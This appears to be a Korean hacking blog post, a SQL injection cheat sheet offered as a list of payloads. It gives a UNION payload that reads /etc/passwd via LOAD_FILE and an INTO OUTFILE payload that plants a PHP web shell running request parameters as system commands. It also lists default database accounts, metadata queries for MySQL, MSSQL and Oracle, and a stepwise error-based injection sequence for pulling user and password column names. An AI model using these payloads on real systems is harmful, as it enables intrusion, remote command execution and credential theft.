SQL Injection

Hacking/Web 2018. 1. 16. 15:08
반응형

* MYSQL = LOAD_FILE, INTO OUTFILE

 - 1 UNION ALL SELECT LOAD_FILE('/etc/passwd') --

 - 1 UNION SELECT "<? system($_REQUEST['cmd']); ?>" INTO OUTFILE "/var/www/html/cmd.php" --


* 기본 계정

 1. MSSQL = sa

 2. MySQL = root, anonymous

 3. ORACLE = SYS, SYSTEM, DBSNMP, OUTLN


* Oracle의 경우 반드시 SYSTEM 권한으로 실행 

 - 보안을 생각해 권한이 없는 사용자로 구동할 수 없음


* 메타데이터 접근

 1. Mysql : INFORMATION_SCHEMA

  - SHOW DATABASES, SHOW TABLES 명령을 통해 접근 가능

 예) SELECT table_schema, table_name FROM information_schema.tables; (접속한 사용자가 접근 가능한 모든 테이블과 데이터베이스 정보 획득)

 2. MSSQL : INFORMATION_SCHEMA, 시스템 테이블(sysobjects, sysindexkeys, sysindexes, syscolumns, systypes 등)

 예) SELECT name FROM sysobjects WHERE xtype='U'; (시스템 테이블을 이용해 접근 가능한 모든 테이블 정보 획득)

SELECT name FROM sys.tables; (카탈로그 view를 이용해 접근 가능한 모든 테이블 정보 획득)

 3. ORACLE : view를 통해 ORACLE 메타데이터(ALL_TABLES, ALL_TAB_COLUMNS 등) 접근

 예) SELECT OWNER, TABLE_NAME FROM ALL_TABLES ORDER BY TABLE_NAME; (접속한 사용자가 접근 가능한 모든 테이블에 대한 정보 획득)


* Error가 노출될 때

 - 문자를 숫자로 변환하여 정보 획득 (ex) 1=0/@@version; --

 - 구문 실행 결과를 표시 ex) having 1=1 (having 절을 했을 때 오류가 뜨는 것은 Mssql만 가능, 다른 DB들은 정상 실행(where 절처럼 작동) )

step 1) ?username=test' having '1'='1

step 2) ?username=test' GROUP BY User having '1'='1

step 3) ?username=test' GROUP BY User,Password having '1'='1 ← GROUP BY 는 HAVING 절보다 앞에 위치 (뒤에 위치할 경우 오류 발생)

step 4) ?username=test' and 1=0/User and '1'='1

step 5) ?username=test' and 1=0/Password and '1'='1

step 6) ?username=test' and User not in ('Admin') and 1=0/User and '1'='1


반응형

'Hacking > Web' 카테고리의 다른 글

SQL Injection With raw MD5 hash  (0) 2018.01.22
SQL Injection_V2.0  (0) 2018.01.17
파일 다운로드 취약점 시 찾아볼 것  (0) 2017.12.04
SQL Injection 필터링 우회  (0) 2017.11.13
파일업로드 확장자 우회  (0) 2017.11.05
블로그 이미지

rootable

,